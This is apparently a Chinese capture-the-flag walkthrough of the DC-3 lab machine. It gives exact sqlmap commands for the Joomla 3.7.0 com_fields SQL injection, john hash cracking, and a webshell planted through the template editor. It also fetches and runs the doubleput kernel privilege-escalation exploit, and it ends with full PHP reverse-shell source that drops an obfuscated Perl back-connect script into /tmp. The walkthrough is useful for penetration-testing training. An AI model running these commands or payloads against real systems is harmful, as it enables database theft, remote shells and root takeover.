题前环境 (kali dc-3靶机)
dc 1 2 不同 dc 3更改一些参数
点击高级 修改对应的IDE
照旧 先进行信息收集
这次多出来的主机是150 nmap端口扫描
80端口可用 还将该端口的详细信息给出 并且cms用的是Joomla
尝试访问
采用niko敏感目录扫描 (nikto -h 192.168.47.150)
发现后台登录地址
用 joomscan扫描器扫一下 看看改版本有什么漏洞 (joomscan -u 192.168.47.150)
发现joomla版本为3.7.0 再查找joomla 3.7.0存在的漏洞
查看漏洞利用42033.txt文章 (//现在还不应该存在桌面上 后期拷贝的)
(cat usr/share/exploitdb/exploits/php/webapps/42033.txt)
给出了sql注入点 开始利用
列出所有数据库 sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出五个数据库 观察到有一个joomla的数据库 来爆这个库
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
爆出了 #__users 表 一般 users 放的是用户名和加密后的密码 或是密码的hash值
那么我们来爆user表的列名
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T “#__users” --column -p list[fullordering]
扫到了password 和 username 列 接着爆字段
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T “#__users” -C "username,password" --dump -p list[fullordering]
看到的结果 但是是以密文的形式 需要我们解密
在root文件夹下新建一个txt文件将password的字段复制进去
john暴力破解该hash值
得到登录后台账号密码(snoopy) 拿去登录
浏览网页 发现存在文件上传点 漏洞点
选择创建一个新文件 save保存
将PHP反弹shell代码复制进去(需设置目标ip 和端口)
保存就上传 然后进行测试访问 (再根据joomla的特性 模块会单独放在一个文件夹里/templates/ 而beez3模块就在/templates/beez3/里面 刚才创建的webshell路径为 http://192.168.47.150/templates/beez3/shell.php)
开启nc 监听端口
反弹shell成功
利用python获取交互shell (python -c 'import pty; pty.spawn("/bin/bash")'
交互shell获取成功 但还不是root权限 需要Linux提权
查看操作系统版本信息 寻找提权漏洞突破口 (tac /etc/issue) (cat /proc/version)
得到操作系统与其版本
使用searchsploit工具搜索漏洞 打开另一个终端 (searchsploit Ubuntu 16.04)
显示漏洞利用的完整路径 (searchsploit 39772.txt -p)
利用cp命令拷贝到桌面
打开39772文件
文本写的是漏洞产生的原因 描述和漏洞利用的方法 还附上了exp 最后一行的连接 (https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip )自行下载
接着我们下载该压缩包并放到kali桌面里 解压该文件 将下载好的文件导入到DC-3靶机里
然后在桌面开启http服务 利用exp提权
访问开启的http服务 exp地址如下图
服务开启成功
回到我们的虚拟终端 利用wget命令下载该工具 (wget http://192.168.47.146:8888/exploit.tar 我这里将exploit.tar移到桌面了 正常应该再你下载的39772.zip的解压后的文件里 )
下载完后用tar命令解压该压缩包 (tar -xvf exploit.tar)
接着cd进入解压后的文件夹 ls查看里面的文件
执行下两个文件 Linux系统下.(点)是执行某个文件的意思 (./compile.sh)
( ./doubleput)
提权成功
flag在root目录底下
小结:
A: Joomlal漏洞
B: niko敏感目录扫描
C: joomscan
D: sql
E: john暴力破解
F: 文件上传漏洞
G: python交互shell(python -c 'import pty; pty.spawn("/bin/bash")'
H: searchsploit工具搜索漏洞
I: 利用exp提权
J: PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>